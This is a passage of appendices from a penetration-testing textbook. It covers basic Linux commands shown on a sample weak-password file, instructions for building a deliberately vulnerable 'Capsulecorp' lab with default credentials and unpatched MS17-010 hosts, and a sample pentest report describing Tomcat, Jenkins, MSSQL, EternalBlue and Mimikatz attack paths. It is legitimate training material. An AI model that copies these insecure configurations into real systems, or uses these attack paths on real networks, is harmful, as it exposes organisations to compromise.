throughout your entire pentest career. 240 appendix B Essential Linux commands I must admit, this appendix’s title is somewhat misleading. I should clarify that when I say Linux commands, I’m not using proper terminology. Technically, Linux is the name of the operating system; the command prompt or terminal that you launch to run a command usually opens a Bourne shell or bash prompt. So, I sup- pose I could have gone with the title “Essential bash commands,” but I thought that might have confused some readers. By no means are the commands in this appendix a comprehensive list, nor are they the full extent of the commands you’ll need to know. Think of them instead as a starting point to become familiar with command-line operations. These are the absolute must-haves; without them, your job as a penetration tester would be excru- ciatingly painful. B.1 CLI commands In this section, I introduce the commands cat, cut, grep, more, wc, sort, |, and >. The last two are actually special operators and work in conjunction with other com- mands. I’ll explain each of these with specific examples. B.1.1 $ cat Suppose you find yourself with remote access to a compromised Linux system, which you’ve managed to penetrate during your engagement. While looking around the filesystem, you identify a curious-looking file named passwords.txt. (By the way, that’s not a too-good-to-be-true scenario; I see this file all the time on client networks.) If you were in a GUI environment, you would probably double-click that file eagerly to see what’s inside; but from the command line, you can use cat— short for concatenate—to see what’s in a file. If you were to cat out the file, it might 241 APPENDIX B Essential Linux commands look something like the following. This is a pretty typical output that you would see on a pentest—even though the file has a .txt extension, it’s clearly a CSV file that was exported from Excel or some other spreadsheet program: cat passwords.txt ID Name Access Password 1 abramov user 123456 2 account user Password 3 counter user 12345678 4 ad user qwerty 5 adm user 12345 6 admin admin 123456789 8 adver user 1234567 9 advert user football 10 agata user monkey 11 aksenov user login 12 aleks user abc123 13 alek user starwars 14 alekse user 123123 15 alenka user dragon 16 alexe user passw0rd 17 alexeev user master 18 alla user hello 19 anatol user freedom 20 andre admin whatever 21 andreev admin qazwsx 22 andrey user trustno1 23 anna user 123456 24 anya admin Password 25 ao user 12345678 26 aozt user qwerty 27 arhipov user 12345 28 art user 123456789 29 avdeev user letmein 30 avto user 1234567 31 bank user football 32 baranov user iloveyou 33 baseb1l user admin123 34 belou2 user welcome 35 bill admin monkey 36 billy user login B.1.2 $ cut Whenever you have output like the preceding example where data is separated into col- umns or another repeatable format such as username:password, you can use the mighty cut command to split the results into one or more columns. Let’s say you wanted to only see the passwords. You can use the cat command to display the file contents and then use the pipe operator (|), which is the straight vertical line above your Enter key, to pipe the output of the cat command into the cut command, as follows: cat passwords.txt | cut -f4 Password 242 APPENDIX B Essential Linux commands 123456 Password 12345678 qwerty 12345 123456789 1234567 football monkey login abc123 starwars 123123 dragon passw0rd master hello freedom whatever qazwsx trustno1 123456 Password 12345678 qwerty 12345 123456789 letmein 1234567 football iloveyou admin123 welcome monkey login In case you’re wondering, the -f4 option means “Show me the 4th field,” which in the case of this file is the Password field. Why the fourth field and not the third or twelfth? Because the cut command by default delimits on the tab character. If you need to, you can tell cut to delimit on a different character with cut -d [character]. If you want to save this output into a new file, you can use the > operator like this: cat passwords.txt | cut -f4 > justpws.txt This creates a new file called justpws.txt containing the previous output. B.1.3 $ grep Continuing with the same file, suppose you were interested in seeing only results that matched a certain criterion or text string. For example, because column 3 displays the user access level and you, as a penetration tester, want to obtain the highest level of 243 APPENDIX B Essential Linux commands access you can, it’s logical that you might want to see only users with admin access. Here is how you would do that using grep: cat passwords.txt | grep admin 6 admin admin 123456789 20 andre admin whatever 21 andreev admin qazwsx 24 anya admin Password 33 baseb1l user admin123 35 bill admin monkey This is great, but it looks like one of the users has user access. This is because you used grep to limit the output to lines that contain the text string “admin”; because user 33 has the word admin in their password, it made its way into your output. Don’t worry, though; there is no limit to the number of times you can chain grep together. To remove this user from the output, simply modify the command like this: cat passwords.txt | grep admin | grep -v admin123 6 admin admin 123456789 20 andre admin whatever 21 andreev admin qazwsx 24 anya admin Password 35 bill admin monkey Using -v admin123 tells grep to only display lines of text that do not contain the string “admin123.” B.1.4 $ sort and wc You’ll often find yourself sorting through files with lots of repeat lines. When reporting on your findings, it’s vital to be accurate with numbers. For example, you don’t want to say you compromised about 100 accounts but rather that you compromised exactly 137 accounts. This is where sort and wc are very useful. Pipe the output of a cat or grep command into sort and specify -u to only show unique results. Pipe that output into the wc command with the -l argument to display the number of lines in your output: cat passwords.txt | cut -f3 | sort -u Access admin user cat passwords.txt | cut -f3 | sort -u | wc -l 3 Without question, if you’re a Linux enthusiast, I have not included your favorite com- mand in this appendix. I don’t mean to offend you or claim that it isn’t important or useful; I’m simply including what is necessary to get through the exercises in this book. The old saying about skinning a cat is very much applicable to Linux and the command line—there are dozens of different ways to accomplish the same task. My only claim for 244 APPENDIX B Essential Linux commands the examples in this book is that they work, and they work reliably. Should you find a better command or way of doing something that works for you, use it. B.2 tmux In the land of bash, processes that you launch from the command line are tied to your active user session. (If it helps, you can think of every command you type as a little application with its own icon in the Windows taskbar.) If your bash session dies for any reason, your processes get killed. For this reason, terminal multiplexers were invented. The greatest terminal multi- plexer in the world (in my opinion) is called tmux. With tmux, you are placed in a sort of virtual terminal environment that is running in the background. You can back out of a tmux session, close your terminal, log out of your system, log back in, open a new terminal, and connect back to the same tmux session. It’s magic! tmux has a lot of other great features that I recommend you explore outside of this book. For a deeper dive, check out “A Gentle Introduction to tmux” by Alek Shnayder on Hacker Noon: http://mng.bz/aw9j. My main reasons for loving tmux and using it on pentests are twofold:  The ability to save a session, log out, and then return to the same session  The ability to collaborate and share a single interactive terminal with others As you likely know, some commands take a long time to process. Who has time to wait around? Instead, you can fire off your long command in one terminal window and then open another to play around in while you wait. You could consider it analogous to having multiple browser tabs in a single instance of a browser, if it helps you visual- ize, but it’s probably best if I show you. (I’ll explain my second reason for being a tmux fanboy in just a moment.) Open a terminal in your Ubuntu VM, and type tmux (see figure B.1). Don’t be overwhelmed by the power-line status bar in this screenshot. The most important thing to note is the ribbon at bottom left with the word bash and the num- ber 0. In tmux-speak, this is referred to as a window, and all windows have a numeric identifier that starts at 0 and a title that defaults to the current running process, which is bash. Renaming the title of this window is easy when you understand how tmux commands work. Figure B.1 What you see when you first launch tmux 245 APPENDIX B Essential Linux commands B.2.1 Using tmux commands Each tmux command is prefaced by a prefix key followed by the actual command. By default, this prefix key is Ctrl-b. Swapping back and forth between windows is as simple as toggling Ctrl-b l (Ctrl-b fol- lowed by a lowercase L) and Ctrl-b n. That’s l and n as in last and next window. If you have many windows open and want to jump directly to a specific one, you can use Ctrl-b and then the window number—for example, Ctrl-b 3 to jump straight to window 3. Table B.1 lists a few basic usage commands that you will use frequently. Table B.1 Common tmux commands to remember Keyboard shortcut tmux command Ctrl-b l (lowercase L) Cycle back to the last tmux window. Ctrl-b n Cycle up to the next tmux window. Ctrl-b 3 Jump directly to window 3. Ctrl-b c Create a new window. Ctrl-b , (comma) Rename the current window. Ctrl-b “ (double quotes) Split the current window horizontally. Ctrl-b % Split the current window vertically. Ctrl-b ? View all the tmux commands. Renaming a tmux window First, I don’t recommend that you try to change the window name. This is because the majority of help you’ll find on the internet will use the default, and it can be con- fusing if you are using something else. The command to rename a window is Ctrl-b followed by a comma (that is, let go of the key combination and then type a comma). Your tmux bar will change, and you will have a cursor prompt with the text (rename-window) bash. Use the Delete key to delete the word bash and then type the new name of your window. It’s a good idea to rename each window something that tells you about what you are doing in that win- dow, so you can make sense of it later when you return to a tmux session with mul- tiple windows open. Next, create a new window by pressing Ctrl-b and then c. Go ahead and rename that window as well. 246 APPENDIX B Essential Linux commands B.2.2 Saving a tmux session Now suppose you need to walk away from a session. Instead of clicking the close but- ton on the terminal, you can use the tmux detach command, which is Ctrl-b d. You should get output similar to the following: [detached (from session0)] You’re also placed back at an ordinary bash prompt. You can now close the terminal. After you return, you can open a new terminal and type tmux ls. This will display something like the following, which shows you that the session has two active windows and a single tmux session with an ID of 0 and also gives the date/time it was created: 0: 2 windows (created Thu Apr 18 10:03:27 2019) [105x12] This output even tells you the character array or size of the session, which in my case is 105 × 22. As an example, I can attach to this tmux session by typing tmux a -t 0, where a means attach, -t means target session, and 0 is the session ID. If the com- mand tmux ls displays multiple sessions, you can replace the 0 in the previous com- mand with the numeric ID of the specific tmux session you want to attach to. Finally, the simple yet awesome ability of tmux to attach multiple users to a session at the same time may be less important to you right now, but will become handy in the future if you find yourself working collaboratively on a pentest with multiple consul- tants. This means you and a friend can share the same session and attack the same tar- get from different terminals. If that isn’t cool, I don’t know what is! 247 appendix C Creating the Capsulecorp Pentest lab network This appendix serves as a brief, high-level guide to setting up your testing environ- ment, which closely mirrors the Capsulecorp Pentest environment that I built for the purposes of writing this book. It is not meant to be a lengthy step-by-step guide showing you how to create a replica of the environment, because it is not necessary for you to have a replica to practice the techniques used in this book. The only details you need to concern yourself with are the vulnerabilities and attack vectors present on each system, rather than a play-by-play tutorial with screenshots for every dialog box. Going that route would be an entire book all by itself. Instead, I will provide a high-level explanation like “Create a Windows Server 2019 virtual machine, join it to the domain, and install Apache Tomcat with a weak password for the admin user account.” Of course, I will provide links to external resources, including software and OS downloads and setup guides. NOTE To be honest, I think you would benefit more from creating a unique environment, and I encourage you to come up with a mock enterprise. Every company’s network is different. If you’re going to do network penetration testing regularly, you need to get used to navigating new environments. The Capsulecorp Pentest lab network was designed to have all the basic compo- nents that you would find in 90% of enterprise networks today:  An Active Directory domain controller  Windows and Linux/UNIX servers joined to the domain  Workstations joined to the domain  Database services 248 APPENDIX C Creating the Capsulecorp Pentest lab network  Web application services  An email server, most likely Microsoft Exchange  Remotely accessible file shares The details regarding which server has what OS and which services installed on it are less important. Also, the size (the number of systems) of your virtual lab network is arbitrary and up to the limitations of your hardware. I could have taught every tech- nique used in this book with as few as three or four virtual systems. So, if you read this appendix and find yourself worrying about how you’re going to afford a brand-new lab server with 1 TB of disk space, a quad-core i7 CPU, and 32 GB of RAM, don’t. Just use whatever you have. Even VMware Player on a laptop running three VMs can work as long as you set up all the necessary components in the previous list. That said, if you want to buy a brand-new box and set up a close-to-exact replica of the Capsulecorp Pentest environment, this appendix shows you how to do it. C.1 Hardware and software requirements The Capsulecorp Pentest virtual lab network was built using a single physical server running VMware ESXi. I made this choice completely because of my personal prefer- ences. There are many different options for setting up a virtual lab environment, and you shouldn’t feel compelled to alter your practices if you’re used to using a different hypervisor. The network consists of 11 hosts, 6 Windows servers, 3 Windows workstations, and 2 Linux servers. The hardware specifications are listed in table C.1. Table C.1 Hardware specifications for the Capsulecorp Pentest virtual lab network Server hardware specifications Server Intel NUC6i7KYK Processor Quad-core i7-6770HQ Memory 32 GB DDR4 What if I’ve never set up a virtual network? Before moving on, I want to be clear about something. I’m making the assumption that you have experience setting up virtual network environments. If you have never done this before, then this appendix might be more confusing than it is helpful. If that’s the case, I recommend that you pause here and do some research about build- ing virtual networks. An excellent resource that I recommend is the book Building Vir- tual Machine Labs: A Hands-On Guide by Tony Robinson (CreateSpace, 2017). You could also buy a premade environment. Or rather, you could pay a monthly sub- scription to have access. Offensive Security and Pentester Academy are two great com- panies that offer, among other services, preconfigured vulnerable virtual networks that you can use to test your pentesting and ethical hacking skills for a reasonable price. 249 APPENDIX C Creating the Capsulecorp Pentest lab network I used evaluation versions for the Windows systems. Evaluation versions of Microsoft’s OS ISOs can be obtained from Microsoft’s software download site at www.micro- soft.com/en-us/software-download. They are free to use, and I recommend using the ISO version to create new VMs. Table C.2 shows the hosts I created and the OSs I used to create them. As you can see from the server utilization graph in figure C.1, the Capsulecorp network was not fully utilizing my physical server’s CPU and memory, so I probably could have used a less expensive system. This is something to consider if you are on a tight budget. Storage 1 TB SSD Hypervisor VMware ESXi 6.7.0 Table C.2 Host OSs for the Capsulecorp Pentest virtual lab network Hostname IP address Operating system Goku 10.0.10.200 Windows Server 2019 Standard Evaluation Gohan 10.0.10.201 Windows Server 2016 Standard Evaluation Vegeta 10.0.10.202 Windows Server 2012 R2 Datacenter Evaluation Trunks 10.0.10.203 Windows Server 2012 R2 Datacenter Evaluation Raditz 10.0.10.207 Windows Server 2016 Datacenter Evaluation Nappa 10.0.10.227 Windows Server 2008 Enterprise Krillin 10.0.10.205 Windows 10 Professional Tien 10.0.10.208 Windows 7 Professional Yamcha 10.0.10.206 Windows 10 Professional Piccolo 10.0.10.204 Ubuntu 18.04.2 LTS Nail 10.0.10.209 Ubuntu 18.04.2 LTS Table C.1 Hardware specifications for the Capsulecorp Pentest virtual lab network (continued) Server hardware specifications Figure C.1 ESXi host server CPU, memory, and storage utilization 250 APPENDIX C Creating the Capsulecorp Pentest lab network It worked best for me to create all the base VMs first. That is, I allocated the virtual hardware, CPU, RAM, disk, and so on for each system and then installed the base OS. Once the base OS setup is complete, be sure to take a snapshot of each system so you have something to revert to if you get into trouble while configuring the software and services for a particular machine. Once all your systems are built, you can begin cus- tomizing the individual components of your lab network, beginning with the Active Directory domain controller. After you’ve created all of your VMs, you should have something similar to the graphical depiction in figure C.2. C.2 Creating the primary Windows servers This section explains important details about each individual Windows server’s config- uration, including which services I installed and how each service was configured inse- curely. Once again, this appendix does not include detailed step-by-step installation instructions for individual applications such as Apache Tomcat and Jenkins. Instead, I provide a high-level summary of a specific host and include links to external resources and installation guides. For each VM, use the OS listed in table C.2 for that machine. Any important details related to a specific host’s configuration are listed in the sections that follow. You shouldn’t worry too much about the specifications of virtual systems; use what you have. In my case, as a general practice, I gave each VM 50 GB of virtual disk space, two virtual CPU cores, 4 GB of RAM for Windows systems, and 1 GB of RAM for Linux systems. C.2.1 Goku.capsulecorp.local Goku is the domain controller for the Capsulecorp network. Follow the standard Mic- rosoft documentation for promoting this machine to a domain controller. Due to the best practice recommendations when creating an Active Directory environment, you should set up the domain controller first. When asked to choose a root domain name, you can choose whatever you like. If you wish to mimic my setup, use capsule- corp.local; and for the NetBIOS domain name, use CAPSULECORP. Windows servers Goku Tien Krillin Yamcha Piccolo Nail Gohan Vegeta Trunks Raditz Nappa Windows workstations Linux servers Figure C.2 Overview of the systems in the Capsulecorp Pentest environment 251 APPENDIX C Creating the Capsulecorp Pentest lab network All other virtual hosts in the Capsulecorp network should be joined to the CAP- SULECORP Active Directory domain. For Windows systems, follow the official Micro- soft documentation for joining a computer to a domain. For Linux systems, I followed the Ubuntu documentation using sssd. There are also dozens of video tutorials on YouTube that can help you if you get stuck with this part. Here are some other resources:  Microsoft TechNet, promoting Windows Server 2019 to a domain controller: https://gallery.technet.microsoft.com/Windows-Server-2019-Step-4c0a3678  Microsoft Docs, joining Windows servers to a domain: https://docs.microsoft.com/ en-us/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain  Ubuntu Server Guide, joining Ubuntu servers to a domain: https://help.ubuntu .com/lts/serverguide/sssd-ad.html I created several Active Directory domain and local accounts for various reasons, just as is the case with a modern enterprise network. Table C.3 lists the usernames and passwords that I used. Feel free to come up with different user accounts with other passwords. C.2.2 Gohan.capsulecorp.local Gohan is running Microsoft SQL Server 2014. Download the setup files from the Mic- rosoft download center. Set up MSSQL Server with a weak password on the sa user account. In the example demonstrated in chapters 4 and 7, the password for the sa account is Password1. Resources:  MSSQL 2014 download page: https://www.microsoft.com/en-us/download/ details.aspx?id=57474  MSSQL 2014 setup guide: https://social.technet.microsoft.com/wiki/contents/ articles/23878.sql-server-2014-step-by-step-installation.aspx Table C.3 Domain user accounts and credentials User account Workgroup/Domain Password Administrator Gokuadm CAPSULECORP Password265! CAPSULECORP Vegetaadm CAPSULECORP Password906^ VEGETA Gohanadm CAPSULECORP Password715% GOHAN Trunksadm CAPSULECORP Password3210 TRUNKS Raditzadm CAPSULECORP Password%3%2%1!! RADITZ piccoloadm CAPSULECORP Password363# PICCOLO Krillin CAPSULECORP Password97% n/a Yamcha CAPSULECORP Password48* n/a Tien CAPSULECORP Password82$ n/a 252 APPENDIX C Creating the Capsulecorp Pentest lab network C.2.3 Vegeta.capsulecorp.local Vegeta is running a vulnerable instance of Jenkins. Download the Windows version of the latest Jenkins setup package from the official Jenkins website, and follow the installation instructions for setting up a basic vanilla Jenkins environment. Set up the username as admin and the password as password. The Windows IIS service was installed following the standard setup documentation from Microsoft. Nothing is run- ning; this is just done to demonstrate what the service looks like to nmap during ser- vice discovery. Resources:  Jenkins download page: https://jenkins.io/download  Jenkins setup page: https://jenkins.io/doc/book/installing C.2.4 Trunks.capsulecorp.local Trunks is running a vulnerable configuration of Apache Tomcat. Specifically, the XAMPP project was used to set up Apache; however, it is just as possible to install Apache Tomcat by itself. Use whichever you prefer. To mirror the Capsulecorp Pentest environment, download the latest version of XAMPP for Windows and follow the setup documentation. Configure the Apache Tomcat server with a weak set of creden- tials such as admin/admin. Resources:  XAMPP download page: www.apachefriends.org/index.html  XAMPP Windows FAQ: www.apachefriends.org/faq_windows.html  XAMPP Windows setup video: www.youtube.com/watch?v=KUe1iqPH4iM C.2.5 Nappa.capsulecorp.local and tien.capsulecorp.local Nappa does not require any setup or customization. Because the server is running Windows Server 2008, by default it is missing the MS17-010 patch and is vulnerable to the Eternal Blue exploit demonstrated in chapter 8. The same is true for Tien, which is a workstation running Windows 7. By default, this host is also missing the MS17-010 patch from Microsoft. Often, during real-world pentests, exploiting a single worksta- tion or server can lead to a domain admin-level compromise, which is discussed and demonstrated in chapter 11. C.2.6 Yamcha.capsulecorp.local and Krillin.capsulecorp.local These two systems are identical and are running Windows 10 professional. They do not have any vulnerable configurations apart from being joined to the CAPSULE- CORP domain, which is pretty insecure. These systems are optional but were included to mirror real-world enterprise networks that contain user workstations with no viable attack vectors. C.3 Creating the Linux servers There are two Linux servers, also joined to the CAPSULECORP domain. These serv- ers are both running identical builds of Ubuntu 18.04. The purpose of these systems is to demonstrate Linux post-exploitation. The particular means of compromise is not 253 APPENDIX C Creating the Capsulecorp Pentest lab network important, and neither is gaining initial access. Therefore, you can configure them in any way you choose. My example configuration is as follows. Server A (piccolo.capsulecorp.local) is running a vulnerable web application on port 80. The web application is configured to run without root privileges, so once you compromise piccolo, you have access but not root privileges. Somewhere in the web directory is a configuration file with a set of MySQL credentials that have access to Server B (nail.capsulecorp.local). On this server, MySQL is running with root privi- leges. This type of configuration—where one system can be compromised but not with root or admin-level privileges, which then leads to accessing another system with root or admin—is quite common. 254 appendix D Capsulecorp internal network penetration test report Executive summary Acme Consulting Services, LLC (ACS) was hired by Capsulecorp, Inc. (CC) to con- duct an Internal Network Penetration Test targeting its corporate IT infrastructure. The purpose of this engagement was to assess the security posture of CC’s internal network environment and determine its susceptibility to known network attack vec- tors. ACS conducted this engagement from CC’s corporate headquarters located at 123 Sesame Street. The engagement testing activities began on Monday, May 18, 2020, and concluded on Friday, May 22, 2020. This document represents a point in time and summarizes the technical results of the engagement as observed by ACS during the testing window. Engagement scope CC provided the following IP address range. ACS performed blind host discovery and was authorized by CC to treat all enumerable hosts as in-scope. Summary of observations During the engagement, ACS identified multiple security deficiencies, which allowed for direct compromise of CC assets within the target environment. ACS was IP address range Active Directory domain 10.0.10.0/24 capsulecorp.local 255 APPENDIX D Capsulecorp internal network penetration test report able to take advantage of missing operating system patches, default or easily guessable credentials, and insecure application configuration settings to compromise produc- tion assets within CC’s corporate network. Additionally, ACS was able to use shared credentials from compromised systems to access additional networked hosts and ultimately was able to obtain full domain admin-level access to the CAPSULECORP.local Active Directory domain. If a legiti- mate attacker with malicious intent were to obtain this level of access to CC’s internal network, the resulting business impact would be potentially catastrophic. ACS will present the following recommendations to strengthen the overall security posture of CC’s internal network environment:  Improve operating system patching procedures.  Enhance system hardening policies and procedures.  Ensure hosts and services utilize complex and unique passwords.  Limit the use of shared credentials. Engagement methodology ACS utilized a four-phase methodology modeled after real-world attack behavior observed throughout modern corporate environments. The methodology assumes that an attacker has no upfront knowledge about the network environment and no access beyond physically plugging a device into CC’s network. This methodology emu- lates an external attacker who manages to enter a facility under a false pretense as well as a malicious insider, customer, vendor, or custodial worker who has physical access to the CC corporate office. Information gathering Beginning with nothing but a list of IP address ranges, ACS performed host-discovery sweeps utilizing freely available open source tools. The outcome of the discovery sweep is a list of enumerable targets reporting an IP address within the range listed in the “Engagement scope” section. Identified targets were then enumerated, further utilizing standard network port- scanning techniques to identify which network services were listening on each host. These network services act as the attack surface, which can potentially allow unautho- rized access to hosts in the event that an insecure configuration, missing patch, or weak authentication mechanism is identified within the service. Each individual identified network service was then analyzed further to determine weaknesses such as default or easily guessable credentials, missing security updates, and improper configuration settings that would allow access or compromise. Focused penetration Identified weaknesses from the previous phase were attacked in a controlled manner tailored specifically to minimize disruption to production services. ACS’s focus during this phase was to obtain non-destructive access to target hosts, so no Denial-of-Service attacks were used throughout the engagement. 256 APPENDIX D Capsulecorp internal network penetration test report Once access to a compromised host was obtained, ACS sought to identify creden- tials stored in known sensitive areas present on enterprise operating systems. These areas included individual text documents, application configuration files, and even operating system-specific credential stores that have inherent weaknesses, such as Windows registry hive files. Post-exploitation and privilege escalation Credentials obtained during the previous phase were tested against previously un- accessed hosts in an effort to gain additional access and ultimately spread to as wide a network reach as possible. The ultimate goal during this phase was to identify critical users with unrestricted access to CC’s network and impersonate those users’ levels of access to illustrate that an attacker could do the same. Real breach scenarios often involve an effort by the attacker to maintain persistent and reliable re-entry into the network environment after systems are accessed. ACS simulated this behavior on select compromised hosts. ACS accessed production Win- dows domain controllers and obtain hashed credentials using non-destructive meth- ods to bypass security controls in the ntds.dit extensible storage engine database. Documentation and cleanup All instances of a compromise were logged, and screenshots were gathered to provide evidence for the final engagement deliverable. Post-engagement cleanup activities ensured that CC systems were returned to the state they were in prior to the engage- ment with ACS. Miscellaneous files created during testing were securely destroyed. Any non-destructive configuration changes made to facilitate a compromise were reversed. No destructive configuration changes that would impact system perfor- mance in any way were made. In the rare cases where ACS creates a user account on a compromised system, ACS may choose to deactivate rather than delete the user account. Attack narrative ACS began the engagement with no upfront knowledge beyond what is listed in the pre- vious engagement scope. Additionally, ACS had no access beyond plugging a laptop into an unused data port in an unoccupied conference room at CC’s corporate office. ACS performed host and service discovery using Nmap to establish a list of poten- tial network targets and enumerate their potential attack surface in the form of listen- ing network services that would be available to any network routable device. Enumerated network services were split into protocol-specific target lists, against which ACS then attempted vulnerability discovery. Efforts were made to discover low- hanging-fruit (LHF) attack vectors, which are commonly used by real-world attackers during breaches of modern enterprises. ACS identified three (3) targets that were susceptible to compromise due to insuf- ficient patching, weak or default credentials, and insecure system configuration set- tings. These three targets, tien.capsulecorp.local, gohan.capsulecorp.local, and trunks.capsulecorp.local, were compromised using freely available open source tools. 257 APPENDIX D Capsulecorp internal network penetration test report Once access to a compromised target was obtained, ACS attempted to use creden- tials obtained from that target to access additional hosts that shared credentials. Ulti- mately, it was possible with shared credentials to access the raditz.capsulecorp.local server, which had a privileged domain admin user account logged on during the time of the engagement. ACS was able to use freely available open source software called Mimikatz to safely extract the clear-text credentials for the user serveradmin@capsulecop.local from the raditz.capsulecorp.local machine. With this account, it was trivial to access the domain controller goku.capsulecorp.local with unrestricted administrator privileges. At this point, ACS effectively had complete control over the CAPSULECORP.local Active Directory domain. Technical observations The following observations were made during the technical testing portion of the engagement. Default credentials found on Apache Tomcat—High Observation One (1) Apache Tomcat server was identified as having a default password for the administrator account. It was possible to authenticate to the Tomcat web manage- ment interface and control the application using a web browser. Impact An attacker could deploy a custom web application archive (WAR) file to command the underlying Windows operating system of the server hosting the Tomcat application. In the case of the CAPSULECORP.local environment, the Tomcat application was running with administrative privileges to the underlying Windows operating sys- tem. This means the attacker would have unrestricted access to the server. Evidence Operating system command. Output is displayed below. Operating system command execution via a WAR file 258 APPENDIX D Capsulecorp internal network penetration test report Asset affected 10.0.10.203, trunks.capsulecorp.local Recommendation CC should change all default passwords and ensure that strong passwords are being enforced for all user accounts with access to the Apache Tomcat server. CC should consult its official password policy as defined by its internal IT/security teams. If such a policy doesn’t exist, CC should create one following industry standards and best practices. Additionally, CC should consider the necessity of the Tomcat Manager web app. If a business need is not present, the Manager web app should be disabled via the Tomcat configuration file. Additional references https://wiki.owasp.org/index.php/Securing_tomcat#Securing_Manager_WebApp Default credentials found on Jenkins—High Observation One (1) Jenkins server was identified as having a default password for the admin- istrator account. It was possible to authenticate to the Jenkins web management interface and control the application using a web browser. Impact An attacker could execute arbitrary Groovy Script code to command the underlying Windows operating system of the server hosting the Jenkins application. In the case of the CAPSULECORP.local environment, the Jenkins application was running with administrative privileges to the underlying Windows operating system. This means the attacker would have unrestricted access to the server. Evidence Asset affected 10.0.10.203, vegeta.capsulecorp.local Recommendation CC should change all default passwords and ensure that strong passwords are being enforced for all user accounts with access to the Jenkins application. CC should consult its official password policy as defined by its internal IT/security teams. If such a policy doesn’t exist, CC should create one following industry stan- dards and best practices. Additionally, CC should investigate the business need for the Jenkins Script con- sole. If a business need is not present, the Script console should be disabled, removing the ability to run arbitrary Groovy Script from the Jenkins interface. Default credentials found on Apache Tomcat—High (continued) Operating system command execution via Groovy Script 259 APPENDIX D Capsulecorp internal network penetration test report Default credentials found on Microsoft SQL database—High Observation One (1) Microsoft SQL database server was identified as having a default pass- word for the built-in sa administrator account. It was possible to authenticate to the database server with administrative privileges. Impact An attacker could access the database server and create, read, update, or delete confidential records from the database. Additionally, the attacker could use a built-in stored procedure to run operating system commands on the underlying Windows server hosting the Microsoft SQL database. In the case of the CAPSULECORP.local environment, the MSSQL database was run- ning with administrative privileges to the underlying Windows operating system. This means the attacker would have unrestricted access to the server. Evidence Asset affected 10.0.10.201, gohan.capsulecorp.local Recommendation CC should ensure that strong and complex passwords are enforced across all user accounts having access to the database server. Additionally, the database server should be reconfigured to run within the context of a less privileged non-administrative user account. Additionally, review the documentation “Securing SQL Server” from Microsoft and ensure that all security best practices are met. Additional references https://docs.microsoft.com/en-us/sql/relational-databases/security/securing- sql-server Missing Microsoft security update MS17-010—High Observation One (1) Windows server was identified as missing a critical Microsoft security update. MS17-10, codenamed Eternal Blue, was missing from the affected host. ACS was able to use publicly available open source exploit code to compromise the affected host and gain control of the operating system. Operating system command execution via MSSQL stored procedure 260 APPENDIX D Capsulecorp internal network penetration test report Impact An attacker could trivially exploit this issue and gain system-level access on the target machine. With this access, the attacker could alter, copy, or destroy confi- dential information on the underlying operating system. Evidence Asset affected 10.0.10.208 – tien.capsulecorp.local Recommendation CC should investigate why this patch from 2017 was missing on the affected host. Additionally, CC should ensure that all corporate assets are properly up to date with the latest patches and security updates. Test security updates in a pre-production staging area first to ensure that all business-critical functionality is operating at capacity, and then apply the updates to production systems. Shared local administrator account credentials—Medium Observation Two (2) systems were identified as having the same password for the local admin- istrator account. Impact An attacker who manages to gain access to one of these systems can trivially access the other due to the shared credentials. In the case of the CAPSULECORP.local envi- ronment, ACS was ultimately able to use access from one of these two systems to gain complete control of the CAPSULECORP.local Active Directory domain. Evidence Assets affected 10.0.10.208 – tien.capsulecorp.local 10.0.10.207 – raditz.capsulecorp.local Recommendation CC should ensure that passwords are not shared across multiple user accounts or machines. Missing Microsoft security update MS17-010—High (continued) Successful exploitation of MS17-010 Shared password hash for the local administrator account 261 APPENDIX D Capsulecorp internal network penetration test report Appendix 1: Severity definitions The following severity definitions apply to the findings listed in the “Technical obser- vations” section. Critical A critical severity finding poses a direct threat to business operations. A successful attack against the business using a critical finding would have a potentially cata- strophic impact on the business’s ability to function normally. High A finding of high severity allows for a direct compromise of a system or application. A direct compromise means an otherwise restricted area of the scoped environment could be accessed directly and used to alter confidential systems or data. Medium A finding of medium severity could potentially result in a direct compromise of a sys- tem or application. To use a medium finding, an attacker needs to obtain one addi- tional piece of information or access or perhaps one additional medium finding to fully compromise a system or application. Low A low severity finding is more of a best practice deficiency than a direct risk to systems or information. By itself, a low finding would not provide attackers with a means to compromise targets but may provide information that is useful in another attack. Appendix 2: Hosts and services The following hosts, ports, and services were enumerated during the engagement. IP address Port Protocol Network service 10.0.10.1 53 domain Generic 10.0.10.1 80 http 10.0.10.125 80 http 10.0.10.138 80 http 10.0.10.151 57143 10.0.10.188 22 ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2 10.0.10.188 80 http Apache httpd 2.4.29 (Ubuntu) 10.0.10.200 5357 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.200 5985 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 262 APPENDIX D Capsulecorp internal network penetration test report 10.0.10.200 9389 mc-nmf .NET Message Framing 10.0.10.200 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.200 88 kerberos-sec Microsoft Windows Kerberos server time: 5/21/19 19:57:49Z 10.0.10.200 135 msrpc Microsoft Windows RPC 10.0.10.200 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.200 389 ldap Microsoft Windows Active Directory LDAP Domain: capsulecorp.local0., Site: Default-First-Site-Name 10.0.10.200 593 ncacn_http Microsoft Windows RPC over HTTP 1 10.0.10.200 3268 ldap Microsoft Windows Active Directory LDAP Domain: capsulecorp.local0., Site: Default-First-Site-Name 10.0.10.200 49666 msrpc Microsoft Windows RPC 10.0.10.200 49667 msrpc Microsoft Windows RPC 10.0.10.200 49673 ncacn_http Microsoft Windows RPC 10.0.10.200 49674 msrpc Microsoft Windows RPC 10.0.10.200 49676 msrpc Microsoft Windows RPC 10.0.10.200 49689 msrpc Microsoft Windows RPC 10.0.10.200 49733 msrpc Microsoft Windows RPC 10.0.10.200 53 domain 10.0.10.200 445 microsoft-ds 10.0.10.200 464 kpasswd5 10.0.10.200 636 tcpwrapped 10.0.10.200 3269 tcpwrapped 10.0.10.201 80 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.201 5985 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.201 47001 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.201 1433 ms-sql-s Microsoft SQL Server 2014 12.00.6024.00; SP3 10.0.10.201 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.201 135 msrpc Microsoft Windows RPC 10.0.10.201 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.201 445 microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds IP address Port Protocol Network service 263 APPENDIX D 